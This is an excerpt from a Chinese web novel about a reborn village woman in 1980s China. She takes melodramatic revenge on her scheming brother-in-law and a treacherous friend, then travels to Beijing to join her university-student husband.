《八零凝脂小甜妻，被科研大佬亲哭了》 第1章 重生 言昭手上冰冷的井水不断滑落，掌心被搓衣板磨得通红。 她怔怔望着指尖的水渍，脑子里一片空白。 自己不是被李玲推入水中，活生生淹死了吗？ 那股窒息感，此刻还像死死压在胸口。 “咚——” 一块石子砸进木盆，水花四溅，溅湿了她半边衣袖。 “打中了！”稚嫩的声音兴奋尖叫。 又一块石头呼啸而来，险些擦过她的额角。 言昭猛地抬头，只见顾城的两个儿子正叉着腰，手里还攥着石子，脸上带着恶作剧的笑，却掩不住眼底的轻蔑。 “闹什么呢！”男人懒散的声音传来。 顾城从院外走进来，目光淡淡扫过两个儿子，只轻描淡写训斥了一句：“不许乱砸石头，听见没有？”连眉头都没动。 随即转过身，对言昭却换上温和笑容：“他们还小，不懂事，不知道你的好。等你嫁给我，他们就会乖乖喊你妈妈。” 言昭心口猛地一缩。 这句话—— 她太熟悉了。 恍然间，她终于反应过来，自己竟然重生了。 重生到还没被顾城洗脑到给他做牛做马的时候。 鼻尖一酸，泪意涌上来，却又忍不住扯起唇角。 哭也想哭，笑也想笑。 上辈子，她就是信了这句轻飘飘的承诺，才会委屈自己，把最好的都留给那两个孩子，换来的却是冷眼和白眼狼般的背叛。 她是地主家的女儿，八岁的时候失去父母，被好心的婶子捡回去。 这位婶子家里有两个儿子，大儿子顾城，二儿子顾煜。 当时顾煜刚出生月余便克死父亲，连抱过他的人也跟着去世。 算命先生说顾煜是天煞孤星。 就把自己给五岁的顾煜冲喜，名义上是童养媳，实则被当成亲闺女一样疼爱。 后来婶子和大嫂接连去世，顾煜考去了京市的大学，家里只剩顾城这个大伯哥和两个侄子，她一个年轻的弟媳按理该避嫌才是。 可在顾城的甜言蜜语下，尤其是在自己几次生病后，看着他作为一个大男人，竟然亲自去厨房上灶台给她熬粥，她就喜欢上了这个男人，然后死活留在村里，扛下所有流言蜚语。 她还傻乎乎地掏心掏肺，替一家子干活、烧火、洗衣、下田，想着只要忍耐，只要自己真心，总有一天会被接受。 而且还为了这个男人，她硬是跟远在京市读大学的顾煜闹离婚。 最后自己活成了全村笑话，被骂偷情被骂疯，被人戳着脊梁骨骂了一辈子。 而顾城从头到尾都没替她说过一句话。 她指节绷紧，狠狠拧干衣裳。 水珠顺着衣角滴落，声声敲在她心里。 这一世，她不会再信。 言昭刚要开口，院门口忽然传来轻快的脚步声。 “哎，小昭！”清脆的嗓音响起。 言昭猛地抬眼，心口骤然收紧。 李玲。 自己那位好闺蜜。 现在李玲不是后世那尖酸刻薄的脸。 少女穿着洗白的棉布衣服，梳着整齐的麻花辫，笑容明媚甜美，眼神亲昵自然，走上前便毫不见外地插进两人之间：“过几天队里有拖拉机去县里，你陪我一起去好不好？我一个人不敢走那么远。” 话音落下，言昭余光瞥见顾城的身体微微一僵，下意识往旁边挪开，与她拉开了一点距离。 动作不大，却足够让言昭心里凉透。 原来，这个时候，这两个人就已经有了迹象。 言昭心头翻涌着疼意，却还是扯出一点笑意，轻声答道：“好啊，正好我也有些事要去县里。” 她要走，她需要离开这片地方，好好喘口气，不想再看这对狗男女。 话落，她将湿衣服一拧，径自收拾起木盆，转身进了屋。 身后，顾城眉头一皱。 她这反应，跟以往有点不一样。 李玲看言昭走远，靠近顾城，伸手就是往他怀里伸过去。 顾城眯起眼睛，他享受地把她拉到面前，凑到她耳边不知道说了什么。 李玲露出娇羞模样，轻锤了一下他的胸口。 …… 晚上。 夜风透过窗棂吹进来，吹得油灯的火苗轻轻摇晃。 言昭缩在床角，心口一阵阵翻涌，激动得几乎无法入眠。 重生的喜悦与后怕交织在一起，越是回想上一世的荒唐，就越觉讽刺。 她记得太清楚了—— 顾城最后还是娶了李玲。 那时候他给的理由是：言昭还和顾煜名义上是夫妻，村里人说闲话，等她把这段婚姻了断了，他就会明媒正娶。 为了他，她不顾全村地指指点点，硬着头皮去找顾煜，提出离婚。 可等到离婚后，她满心欢喜去找顾城，他却又摇头说：“现在不是时候，村里人说得更厉害，得再忍忍。” 于是她仍旧留在顾家，像个下人一样做牛做马，洗衣做饭，照料那两个白眼狼孩子。 还有顾城跟李玲。 言昭咬着牙忍，忍到最后，李玲一句话戳破所有：“小昭，你还不明白吗？我们要的不过是顾煜给的补贴，现在那边不给钱了，所以你唯一的一点作用都没了。” 言昭记得自己当时愣在原地，心口仿佛被刀剜开。 没过多久，她就死了。 死的窝囊，死在顾家后院的水缸里。 清冷的水漫过口鼻，呼吸被一点点掐断，窒息与绝望吞没了她整个人。 想到这里，她忍不住攥紧了手心，指甲狠狠掐进掌肉。 这一世，她绝不会再走那条路。 正当言昭翻来覆去，胸口闷得厉害。 她想着上一世的种种，耳边忽然传来咯吱咯吱的摇床声，像是什么东西在黑暗里轻轻碾动。 她心头一紧，猛地坐起来。 这本来是她与顾煜的房间。 前世，她就是被顾城用甜言蜜语劝服。 说两个孩子可怜，说他们想念母亲，央求她大发慈悲让两个侄子住进来。 她心一软，点头同意，结果自己被挤到角落，夜里只能蜷在冰冷的木板上。 现在她重生了，耳边再次响起那令人厌恶的声音。 言昭轻手轻脚走过去，便听见一阵低低的喘息声，混杂着木床轻微的摇晃。 她整个人僵住。 她屏住呼吸，轻手轻脚地走了出去。 眼前的画面像刀子一样刺入她的眼睛—— 竟然是顾城和李玲。 昏暗的灯影下，两人靠得极近，气息急促，衣衫不整…… 分明是在苟合！ 言昭只觉得血液瞬间涌上脑袋，耳畔轰鸣一片。 她怎么也没想到，这么早，这对狗男女就已经…… 她脚下一个踉跄，差点没站稳。 李玲还在娇声喊着：“城哥！”语气里满是不满，“你白天是不是在看她？” 顾城压低声音哄她：“玲玲，你别胡思乱想，别耍小性子。” 李玲不乐意了，她推开压在身上的人质问：“我哪里胡思乱想了？你白天明明在看她！可你明明说过只喜欢我一个人！” 顾城听她声音大，赶紧捂住她的嘴，声音带着点急切：“傻丫头，你忘了？我们这么忍着，不就是为了她手里的补贴？谁让我那个弟弟的补贴只交给她保管呢。” “你放心，娶的人是你，不会变。” 李玲脸色才慢慢缓和。 这一幕，言昭隔着屋内半掩的木窗，全听得一清二楚。 她唇角勾起一抹冷笑。 言昭脑子也飞快一转，然后转身往院外走去。 村里人睡得早，可天热，很多人索性不在屋里闷着，而是到院子里或树下打地铺，借着夜风睡得舒坦。 言昭走到柴垛边，捻起一撮火星子，塞进干枯的草绳里。 火光“噼啪”一闪，很快窜上来，舔着木柴往上攀。 她眼睛一眨不眨地盯着火苗，心跳得飞快。 不一会儿，火势渐大，火光映红了半边院墙。 四周打地铺的人纷纷惊醒，有人惊呼：“着火啦！” “谁家的院子烧起来了！” 言昭立刻跑过去，声音带着刻意的慌乱：“婆婆！我家起火了！顾城，还有我那两个侄子，都还在里面！怎么办啊？！” 话音落下，周围人立刻炸开了锅。 屋里，却仍旧是压抑的喘息与吱呀的床声，沉浸在见不得光的欢愉中，全然不知门外火光已经窜起。 火光“呼啦”窜起，映得半边天都红的时候。 被惊动的村民们一窝蜂涌过来，却不是担心顾家。 “这火要是烧起来，顾家紧挨着俺屋子，可别把俺的新房子搭进去啊！” “狗日的顾家，整天不安生！俺家干草要是点着了，看老子不掀了你顾家房顶！” 村长也被惊醒，脸色铁青，骂骂咧咧地冲到前头：“要是真烧死人，我也要被县里揪去挨批，到时候咱全村都得跟着倒霉！” “快点！快泼水！” “先救人！” 这时几个年轻力壮的村民已经抡起肩膀就往大门撞去。 “砰——” 木门猛地被撞开。 热浪扑面，呛得人直咳嗽，可下一瞬，所有人都愣住了。 屋里不是哭喊，也不是扑腾，而是—— 顾城和李玲。 两人脸色惨白，早就察觉到外面闹哄哄不对劲，慌忙穿衣，可时间太短，动作太急。 现在两人衣衫松垮，头发散乱，神色惊惶。 一时间，院外炸开了锅。 “这不是李家的闺女吗？！” “还是个没过门的黄花闺女呢，半夜竟然钻到男人屋里！” “李家爹娘咋教的闺女？害臊不害臊啊！” “要是俺闺女干这种事，我当场就打死她！” 有人干脆朝地上啐了一口，满脸厌恶。 也有人幸灾乐祸。 顾城脸涨得通红，拉着衣襟遮挡。 李玲更是吓得脸色惨白，张口结舌，连一句话都说不出来。 而在人群后头，言昭终于笑了，但是笑容特别冷。 …… 火势扑腾了半夜，终于在村民合力泼水、拍打下压住。 可顾家院子已是一片狼藉，厨房烧得彻底没了，正屋一半黑漆漆塌了下来，余烬里还冒着呛人的青烟。 顾城带着两个儿子被人从火里拖出来，灰头土脸，咳得直翻白眼。 李玲才一露面，就被她家里人死死拽走，骂骂咧咧拖着回去，不给她再出丑的机会。 言昭走在灰烬里，裙摆沾了尘土，面上却没一点表情。 她安静绕着断壁残垣走了两圈，回头时只淡淡开口：“厨房烧没了，你房子也烧了一半。” 顾城早换好了衣裳，脸色阴沉，看着眼前这个冷淡的女人，心里一阵恼火。 她过去在自己面前一向低声下气，如今这副冷冷模样，让他很不爽。 顾城压着脾气，挤出一副无辜的神情：“小昭，是她主动勾引我的，我不喜欢她。而且我当时还以为是你……” 话音一落，言昭胸口猛地一阵翻涌，胃里像被什么脏东西搅动，直冲喉咙。 她差点干呕出来。 言昭硬生生把那股恶心压下去。 她垂眸，声音带着几分颤意，却说得极轻：“城哥……你让我想想，我现在心里太乱了。你先歇一歇吧。” 说完，她眼眶泛红，伤心地转身离开，背影看上去像被重重打击过的人。 顾城愣在原地，没追上去。 他盯着言昭渐行渐远的身影，心里反倒松了口气。 没想到言昭就算撞见自己和李玲那样，嘴上虽然说的是要想一想，可说出来的话还是关心自己的。 顾城冷笑一声，心底的烦意一扫而空。 他根本没把言昭放在心上，反正李玲早晚是要进顾家的。 言昭呢？ 他才看不上，这女人只是用来换顾煜补贴的东西。 …… 第二天一大早，李家人就堵上了顾城的门。 李玲的爹黑着脸开口：“顾城，你昨晚的事全村人都看见了。俺家闺女黄花大闺女，名声都叫你给毁了！你要是个男人，就得立刻结婚。” 顾城点头：“李大伯你放心，我肯定会娶玲玲的。” 李家看他这么识相，立马狮子大开口：“那你给我家三十块吧，还有你弟顾煜的那间屋子，让俺儿子搬进去住。你带着两个儿子，俺闺女可不是白跟你过苦日子的！” 顾城刚还好看的脸，此刻立马沉下脸：“三十块？还要我弟的房子？那不可能！我现在都没地方住。” 李家人火了，当场拍着桌子骂：“俺家闺女都让你睡了，你还想白睡？！” 顾城心头一紧，却还是咬死不松口：“我是真想负责，可家里就这点家底，实在掏不出来。我手头上只有五块钱。” 李家人气得脸都绿了，屋里吵得鸡飞狗跳。 另一边，李玲拉着言昭，眼里带着泪光：“小昭，对不起，我和城哥……我们其实是两情相悦的，我也不是故意要骗你……” 第2章 逃离 茶里茶气的话。 言昭心想谁不会演呢？ 她眼皮一垂，故作难受地低声道：“可顾城说，是你勾引他，他才会那样……” 李玲脸颊一僵，呼吸都滞住了，声音都破裂的大声说：“不可能！” 言昭抿唇，伸手轻轻拽住她：“那你过来听，听他怎么说。” 两人跟着贴着墙根。 此时里面吵得正热。 只听顾城冷哼：“现在急的又不是我，是你们在着急。你家闺女不嫁就算了，反正我也不吃亏！” 李玲听到这里，她整个人僵在当场，脸色瞬间煞白。 言昭在一旁，胸口的恶心淡了几分。 而里面的李家也是没想到顾城竟然会这么不要脸！ 李家的老头李柺柱气得直拍桌子，椅子都晃了两下：“你个狗东西，玩了俺闺女还敢嘴硬？！” 李玲也跟着冲了进来，想问问顾城他说的话是不是真的！ 李柺柱看见自己闺女竟然还敢跟过来，他脸上更难看了，李母气势汹汹拉着李玲就是往外走。 李玲被拽着，边走边回头，哽咽着喊：“顾城哥！你说过要娶我的！你说过的，我身子都给你了——！” “啪！” 李柺柱脸色一沉，一巴掌狠狠甩在她脸上。 “混账东西！还不嫌丢人？！” 他骂得嗓子发抖。 这声脆响让顾城蹙眉，上前说了两句：“李大伯，你有话好好说。” 言昭静静看着这一幕，目光平淡如水。 她等的，就是这一出。 因为村里人嘴碎得要命，就一晚上，那些难听的话越传越响。 李家也不能让顾城再拖下去，现在自家闺女名声彻底坏了，为了自己脸面也要快点解决这件事。 李家只能咬着牙：“五块就五块。 哪知道顾城还是摇头，神情苦巴巴地挤出几句话：“李大伯，我还有两个儿子要养，大半小子不说吃肉，吃饭都得一盆……我只能拿出三块钱。” 李母气得浑身直哆嗦，指着顾城鼻子破口大骂：“三块？！你这点钱，是买猪还是买人啊？！” 李柺柱脸憋得通红，气得要把桌子摔了：“你还要不要脸？！俺闺女都这样了，你拿三块钱打发叫花子呢？！” 李家说着就要跟他打起来。 等到吵闹了一番后，这一出戏终于到了收尾，李家同意了三块钱。 也是不同意也没办法，总不能又带着人回去，那李家在队里是真的没脸活了。 顾城跟着松口气，嘴上带笑：“李大伯放心，我一定会对玲子好的。” 李家根本不吃这套。 直接就走了。 李玲被留了下来，就三块钱，那肯定是什么都没了。 她正在抹着眼泪，小声哭泣。 言昭站在门口，静静打量着屋里的两人。 一个垂头丧气，一个哭得满脸泪痕。 跟上一辈风风光光的婚事相比，现在他们也算是寒碜又丢人。 不过，这还不够。 言昭唇角微微一勾，眼底的光冷得很。 …… 现在的顾家，被那场火烧得惨不忍睹。 半截屋顶塌了，木梁焦黑地横在半空，风一吹，还发出“咯吱”的响。 一家人全都挤在唯一没被烧塌的那间屋里。 言昭看着那间小屋，心里早有数。 她很自觉地把房间让出来，抱着自己的铺盖去了外头那间临时搭的棚子。 反正现在天也热，睡在外面还凉快。 没过多久，顾城走了出来。 他在昏暗的火光下显得有些憔悴，语气却带着几分宽慰：“小昭，我也是没办法，你能理解我的，对不对？” “你放心，我肯定会娶你的。” 言昭抬头，看着他那副装出无奈的模样，胃里翻涌一阵恶心。 但她还是神情温柔地说：“顾城哥，我当然信你。” 语气轻得像是真信了似的。 只是她低头那一瞬，眼里的笑意冷得能冻死人。 …… 次日天刚亮，顾家院里还飘着焦木的味道。 言昭把头发扎好，悄无声息地出了门。 她知道，等李玲醒了，肯定要找地方撒火。 那口怒和憋屈，她不敢对顾城发，自然要朝她身上泼。 而顾城八成也得来找她要钱。 现在家里啥都没剩，五块钱剩下三块钱，他肯定又要找自己要钱。 言昭可不打算给他们机会。 她是要离开这里的。 不过，在离开前，言昭要教训顾城跟李玲。 而且她不想让他们死得太快，想折磨一下两个人。 此时风从田边吹过，卷起一阵灰土。 言昭眯了眯眼，她来这里，也是想起上一世一个在村里传得沸沸扬扬的事。 隔壁村有个年轻寡妇，长得好看，可突然被曝染上了脏病。 然后这个生产队差不多一半的男人都被她给传染了。 当时这个生产队里乱得一塌糊涂，媳妇闹离婚，男人不敢出门，老人骂天骂地。 县里直接派了三趟车，把整队的男人全拖去医院做检查。 那场风波闹得震天响，隔壁生产队成了整个公社的笑话。 这一世，言昭想让顾城也染上这个脏病。 她早就打听好了张寡妇的地址，从怀里摸出一张纸。 纸里包着两块钱。 在这种穷村子里，已经是大钱。 够一家人吃十几天白面。 她看到张寡妇哼着小曲走回家。 机会来了。 言昭立刻蹑手蹑脚冲过去，把那包钱塞进门缝。 纸张悄悄滑了进去。 她敲了三下门。 “咚、咚、咚。” 然后迅速钻回草堆后，屏住呼吸观察。 几秒后—— 门被拉开一条缝。 张寡妇探出头，一眼看到门口那张纸包。 她先是愣了一下，随后看到两块钱眼睛亮了。 …… - 言昭干完事，她回到顾家时，院里还飘着烧焦后的灰味。 李玲正在井边洗衣服，衣袖卷得老高，力气大得像要把衣服搓破。 听见脚步声，她猛地抬头，眼神里压着一整桶怒火。 这女人刚要冲过来开口发泄—— 言昭先一步说：“玲子，后天一早咱们去县里吧？” 李玲愣了，往前冲的气势都停在半空。 “去县里？家里不是没钱吗？” 言昭叹了口气，神情疲惫又无奈，“是没钱啊，所以我才要去打电话，问问顾煜那边有没有钱。再说你跟顾城哥刚成亲，家里空成这样，也是委屈你了。去县里，我给你买点东西。” 李玲怔住，眼里的怒火像被一瓢水泼熄了。 半晌，她眼睛一亮，嘴角忍不住上扬：“小昭，还是你对我最好。”她挽住言昭的手臂：“就算我嫁给了顾城哥，你也永远都是我好姐妹。” 言昭温柔地笑了笑。 眼神却一点温度都没有。 这句话，她上一世也听过无数次。 李玲嘴里的好姐妹，不过是她随意能踩在脚下，随时能让她发泄的软包子。 可惜这一世—— 软包子已经变成了手里捏着刀的人。 …… 因为言昭拿捏着要去县里打电话要钱，上午不干活。 李玲跟顾城都默认了。 到了下午，言昭主动拉着李玲去沟边挖野菜。 理由也再自然不过—— “家里一口吃的都烧没了，不找点野菜，今晚连稀粥都喝不上。” 李玲虽然心里烦，但想着新婚忙乱，家里确实没粮了，也没多说什么，只跟着她一起走。 两人一路挖到天色微黑，才慢吞吞往回走。 路上言昭把语气说得委屈、可怜、又满是心疼：“你跟顾城哥新婚头一天就碰上火灾，又没吃好住好，我还是很心疼你的。” “你是我最好的姐妹，你也已经嫁给了顾城哥，我希望今晚你们和好。” 李玲没想到她这么大度，但是点头说：“小昭，谢谢你，你真好。” 天色彻底暗下来时，言昭和李玲才提着一大兜野菜回家。 刚跨进院门，她就察觉到空气不对劲。 顾城站在屋檐下，衣襟乱着，神色不自然，像心虚，又像紧张，连看到她们回来都没凑上前来。 李玲没察觉，把野菜往厨房一丢，唤了声：“顾城哥。” 她要去跟顾城和好，现在两人是一口气，怎么能置气呢？ 这边顾城应得低，声线也飘。 眼神躲闪得厉害。 言昭在黑暗里盯了他一眼。 对了，就是这种样子。 腿虚、眼虚、心虚。 她还担心顾城会不会顾忌身份，不敢往那肮脏凑。 没想到他还真的上了。 这种狗男人，上一世她竟然付出那么多？ 言昭心里只剩冷笑。 不过也无所谓了，反正她要的结果已经成了。 她回到那间勉强能睡的棚子，从破木箱底摸出自己的布袋，把东西一样样装进去。 明天去县城，她就不打算再回来了。 她要去京市，去找顾煜。 至于顾城和李玲？ 让他们慢慢等后果发酵。 她这一辈子也不会再回来给他们做牛做马。 动作停下来时，她忽然想到了顾煜。 那个小丈夫。 言昭做顾煜童养媳的时候，他才五岁。 那时的小男孩瘦得像根小树枝，皮肤白得发病，和别的孩子那种天性活泼完全不同。 他整日沉默寡言，不哭不闹，常常站在屋檐的阴影里，用一双黑漆漆的眼睛安安静静盯着别人看。 那模样让言昭浑身发凉，躲都来不及。 可重生后，她再想起那段日子，却完全不是同一种味道了。 一个五岁的孩子，不哭不闹、默默躲在暗处，也许不是阴沉，而是太孤单、太被冷落，没有人愿意靠近、没有人愿意陪伴，才变成那副模样。 更何况，长大后的顾煜对她也很好—— 每个月的补贴一分不少地给她，不问理由、不问用途，甚至她偶尔多要一点，他也只是默默给她，丝毫怨言都没有。 而且，她和顾煜现在还没离婚。 名义上，她仍然是顾煜的媳妇。 去找自己的丈夫，是天经地义的事。 想清楚这一点之后，她心里反倒涌起一种上一世从未有过的踏实感。 …… 言昭第二天起得极早，天色还沉在黑里，院子静得像死水。 她背着包袱走进厨房，摸到角落，扒开压着的土层，挖出那只黑漆漆的小罐子。 这个罐子，才是顾家的真正家底。 顾城嘴里天天嚷着没钱，是因为他身上永远只放五块。 五块花完，就推她去找顾煜要。 而所有真正能称得上积蓄的，全都藏在这个罐子里，由他一人牢牢攥着。 言昭把罐子擦开，指尖极轻地撬起盖子。 一瞬间，整齐叠好的钱票像塞得满满的青灰色方块，静静躺在罐子里。 一叠，又一叠—— 底层甚至还压着粮票、布票、油票。 她把钱抽出来，一张张摊在手心里，重新数。 越数，心越冷。 越数，越觉得荒唐。 三千多。 这些钱—— 全是上一世她被逼得向顾煜伸手、说尽好话、低头求来的补贴。 顾煜月月给，她月月交，全被顾城一点一点攒进了这个罐子里。 她上一世还被骂得抬不起头，被说败家、吃白食、拖累顾家。 言昭缓慢地吸了口气，把那股上涌的冷意压下去，将三千多按厚薄分成几叠，塞进包袱最底下，再用换洗衣服压住。 这些钱她全要带回到京市还给顾煜。 言昭走出了村里。 天还没亮，雾气沉在地面，一切都安安静静的。 她在路口等了好一会儿，直到远处传来牛蹄“哐哐”踩在石子路上的声音。 赶车的老头迷迷糊糊地揉着眼，看见她背着包袱站在路边，愣了下：“顾家媳妇，这大清早的，你去哪？” 言昭笑得温顺：“叔，我去县里给顾煜打个电话。” 老头点点头也没细问，抬手示意她上车。 她翻身坐上牛车，木板摇得厉害，弄得腰都酸，但她却难得心静。 牛车慢慢往前晃，天边一点点亮开，一片淡金色从山脊上落下来。 等到县城门口时，天已经大亮，街上有人挑担，有孩子追着鸡跑，很热闹。 言昭没耽误，她走去汽车站，买了赶往省城的公交车票。 车开得快，路颠得更厉害，但窗外的风景却让她第一次有种“真的要离开了”的实感。 到了省城，她没耽搁，第一件事立刻拿着证明去车站买火车票。 这张证明是顾城很久之前找队长开的，是为了吓唬她，说让她滚。 没想到今天反倒成了她顺顺利利离开的通行证。 售票员看了一眼证明，又看了她背着包袱的样子，也没为难她，很快就给她盖章出票。 然后她就去给顾煜打电话，接电话的是他那个学校的招生办。 平时她都是要钱，但这一次是给顾煜留个口信，说自己过去找他。 招生办的很惊讶，但还是说：“行，等会下课我就跟他说，说下你几点的火车？” 言昭说了个时间。 火车的汽笛声轰隆而起，她顺着人群挤上去，坐在靠窗的位置，把包袱按在脚边。 她才第一次觉得胸口轻得像能够呼吸。 第3章 是要跟我离婚？ 火车一路颠了三天三夜，像在铁轨上折磨人似的。 言昭几乎没合过眼。 她怕丢包袱，怕被偷东西，也怕睡着后误过什么站，只敢靠着窗打几秒的盹，眼皮一合就又被颠得醒过来。 等到第四天早上，火车终于鸣着长长的汽笛声，缓缓驶入京市。 她拎着包袱，被人推挤着下车。 站台一出来，言昭整个人都愣住了。 京市……人多得像潮水一样。 喧闹声从四面八方涌来，比县城……不，比省城都大得不是一点半点。 她背着包袱，被人一撞肩又一撞背。 她从没见过这么多人，也从没到过这么大的地方。 突然间，她的心底升起一股慌意—— 自己来京市……真的对吗？ 言昭咬着唇，掌心被包袱带勒得泛红。 她正努力稳住自己，被挤得往后退一步，忽然一个身影猛地凑到她面前。 那男人皮肤黝黑，胳膊粗得像村里的木桩，眼神溜得飞快，一把就拽住她肩上的包袱带。 “妹子，帮你送到门口，一块钱。” 他说得飞快，手上已经开始往外扯。 言昭立刻紧紧抓住包袱，摇头：“不要。” 可那男人哪里听得进去，她越拒绝，他越使劲。 言昭被扯得踉跄，脚下差点踩空。 这可是她全部的家当。 就在那男人又要抢的瞬间，一只修长好看的手突然伸过来，动作干脆利落地夺回包袱。 抢包的男人没反应过来，只抓了个空。 他瞪了那人一眼，见这边不容易下手，立刻又挤进人群，去别的旅客面前伸手。 而这边—— 言昭愣住了。 她抬起头，视线触到那张脸。 白皙的皮肤，干净得不像长在村里的那种苍白，而是带着书卷气的白。 眉眼清冷，一双黝黑的眼睛深得像盛着墨，静静落在她身上。 主要是俊的很，那种站在人群里，随便一眼就能心脏狂跳的俊。 言昭心跳在混乱的站前突然顿了一下。 两人的视线在嘈杂的人潮里对上—— 喧闹声都像是被隔绝。 顾煜看着她。 过了一会，他低声喊了她的名字。 “昭昭。” 言昭被他这一声喊得心口一颤。 她上火车前还怕他不愿见自己，可这一瞬间，所有担心像被风吹散。 而顾煜的目光慢慢往下落，落在她瘦得明显的脸颊上，又落在她被颠得泛红的眼圈上。 最后，他看到了她紧紧抓着不放的包袱绑带，那种害怕被抢走的姿态。 他眼底的情绪瞬间沉了下去。 什么都没问。 也没责怪她什么。 顾煜只是轻轻叹了口气，就把包袱从她手中接了过去。 他又伸出另一只手，握住了言昭。 掌心温热，带着少许的汗意。 “我们走吧。”他低声道。 顾煜牵着她穿过嘈杂的人群，把她挡在自己侧后方，每一步都替她挡住挤过来的肩和手臂。 …… 两人坐上公交车后。 顾煜坐在靠窗的位置，把包袱放在腿边，一只手却始终没松开，仍牵着她。 言昭的手被他掌心包着，热度从指缝一点点传上来。 一会过去。 言昭才小心翼翼地开口：“……你怎么没上课？” 顾煜侧头看向她。 车窗外的光打在他脸上，眉眼冷静又安稳，像能把人心上的乱全部压住。 “请假了。”他语气不轻不重，“来接你。” 言昭低下头，目光落在两人还牵着的手上。 他的手很热，让她胸口某个地方突然涌起一股说不清的东西。 酸的、热的、像堵着，又像融开。 她抿了抿唇，声音轻得几乎要被车声淹掉：“我……突然来找你，真的很对不起。” 顾煜眼睫动了一下，淡淡地说：“没事。” 这两个字没有责怪，也没有冷漠。 只是平静。 言昭指尖微微抖了一下，然后她鼻子开始发酸。 …… 公交车在一座巨大的校门口缓缓停下。 铁门上写着醒目的学校名字，人群来来往往，全是背着书包的大学生。 言昭一下车，整个人都僵住了。 这地方……太大了。 太干净，也太气派。 每个学生走路都带着自信劲儿，她连抬头都不太敢抬。 直到顾煜握了握她的手，她才跟着他往里走。 一路上，她对所有东西都陌生得紧。 穿过几栋教学楼，再绕进一个安静的小院，顾煜停在一间门前。 他拿出钥匙，轻轻一拧。 门开了。 “这里是我的宿舍。” 他语气淡淡的说。 宿舍里很干净，一张床，一张办公桌，角落有一把水壶，窗外是操场的一角。 门一关上，外面的嘈杂顿时被隔绝。 安静得能听见两人的呼吸。 言昭站在门口，显得特别局促。 顾煜刚把包袱放下，就看见她突然抬起头。 她紧紧捏着胸口衣襟，像在鼓足勇气。 接着，她伸手从衣服里面摸出一叠被她贴身藏了一路的钱。 纸币被压得有点变形，却整整齐齐。 她双手递过去，声音轻：“……这都是你寄给我的。” 顾煜没接，他在疑惑。 言昭急了，以为他怪自己乱花钱，连忙解释：“这些钱是你的，你拿回去吧。” 她眼神里有种小心翼翼的诚恳，甚至有一点……怕他生气。 顾煜看着那叠钱，再看她瘦了的脸，眼神一点点沉下去。 不是冷，而是情绪深得像将要溢出来。 他突然一步上前，抬手握住她拿钱的手。 “昭昭，我寄给你的，就是让你花的。” 言昭抬起头。 眼前是顾煜的脸。 近得连他的睫毛都清楚得像描出来一样。 那张脸本就好看，如今在宿舍昏黄的灯光下，更觉得好看的过分。 尤其是那双深黑的眼睛专注地落在她身上，沉稳、压抑，还带着难以忽视的情绪。 言昭一瞬间呼吸发紧。 脸上莫名开始发热，她急忙把视线从他脸上移开，耳尖已经悄悄红了：“这……这么多钱，我也没地方用。你在这里肯定要花钱，书也要买，东西也要用……而且往后，都不用再给我钱了。” 顾煜的手指在此刻突然收紧。 他垂下眼，睫毛落下一片阴影，“你来京市找我，是要跟我离婚？” 言昭连忙摇头，动作快得像被烫着一样：“不是的，不是离婚。” 她来京市，是来投奔的。 是来求个活路的。 怎么可能离婚？ 可言昭还是想起上一世。 如果那时她真鼓起勇气来了京市—— 那一定就是为了和他把关系彻底断掉。 只是那一世，她没来京市，离婚手续全靠邮寄办完，连一句真正的告别都没有。 顾煜静静盯着她，眼神深得让人心慌。 良久，他才慢慢开口，声音低沉得不太正常： “那就好。” 他握着包袱的指节缓缓松开，却仍攥着她的手，一步都没松。 “所以，昭昭。”他轻声重复了一遍，像在确认，也在按住心底那一点疯狂要涌动出来的东西，“你是来找我的，不是来离婚的。” 言昭怔怔点头：“不是离婚。” 只是话一出口，她心口突然又紧起来。 她抬眼看他，咬了咬唇，声音低得几乎听不见： “那……你是不是……想跟我离婚？” 她自己都被这句话吓了一跳。 可这个念头像冷水一样哗啦灌进脑子里—— 顾煜在京市念大学，身边肯定有漂亮、懂事，家境好的姑娘。 她灰扑扑地跑来，会不会……是在打扰他的生活？ 他会不会早就不想要她这个童养媳？ 可她除了这里真的没地方能去。 如果他不要她—— 那她该去哪？ 她越想越慌，手指忍不住攥紧了衣角。 顾煜突然伸手扣住她下颌，让她抬起头，被迫对上他漆黑的眼睛。 “昭昭。”他一字一句，低沉至极：“我不会跟你离婚。” 他说完就把她整个人拉进怀里。 言昭被撞进那片温度里时，心跳猛地一顿—— 原来他身上是热的。 不是她以为的那种冷冰冰、拒人千里之外的温度。 是真实、炽热、带着很强烈的情绪。 可就在这时—— “咚咚——” 敲门声突兀响起。 言昭受惊的从他怀里挣脱，连呼吸都乱了。 她慌慌张张把那三千块重新塞回他手里。 顾煜垂眼看她一眼，情绪像被硬生生压回胸腔。 他深吸一口气，让自己俊美的侧脸恢复平静，把她的行李放到桌边，这才去开门。 门外站着两个男生，一看到他便笑着开口： “接完人了？” 顾煜点头，仍是他惯有的冷淡模样。 两人显然习惯他的寡言，也不多问，从怀里拿出几本厚重的书递来：“都是王老师让我们交给你的，他说你忙完过去一趟。” 顾煜接过，只轻轻应了一声：“嗯。” 下一秒—— 两个男生却像忽然发现新大陆一样，探头想往他身后看。 “哎？那就是你——” 他们刚挑眉开口，视线还没对上言昭的脸—— “砰。” 顾煜直接把门关上了。 干脆、利落、毫不犹豫。 言昭刚才脑子里飞快转着各种念头—— 自己在火车上颠了三天三夜，头发乱得像鸡窝，脸上都是灰，身上肯定带着一股难闻的味道。 这种样子……怎么能见顾煜的熟人？ 她甚至连要怎么开口都还没想好。 就在她绞尽脑汁想着怎么不拖顾煜后腿的时候。 结果—— 顾煜直接把门关上了。 言昭愣住了。 ……这是怕她丢人吗？ 言昭脚尖不自觉往后缩了缩，手又偷偷抓住衣角。 顾煜把几本厚重的书随手放在桌上，转头看向她说道：“我带你去吃饭。” 话刚落下—— “咕——” 言昭的肚子在这安静的小宿舍里响得格外清晰。 她整张脸瞬间涨红，恨不得把自己埋进地板缝里。 她一路上就吃过几根玉米，早就饿得发晕，可没想到在他面前丢人丢到这种地步。 顾煜看着她的红脸，指尖轻轻收紧，明显是被她这点小窘迫勾得情绪更深。 没等言昭解释，他已经握住她的手，把人往门外带。 他一句多余的笑话都没说。 言昭被他拉着，小步小步跟着往外。 她上辈子去过最远的地方，就是镇子给他打电话。 这一辈子第一次来到京市，第一次进大学—— 言昭只觉得自己眼睛都不够用了。 高楼、干净的路、三三两两走过的学生…… 每个都比村里见过的年轻人干净太多，也精神太多。 她偷偷打量四周，不敢走大步，生怕自己的鞋子踩脏了这干净的地方。 心里也是满是敬畏。 这里，是大学，是读书人的地方。 顾煜当然察觉到她的目光。 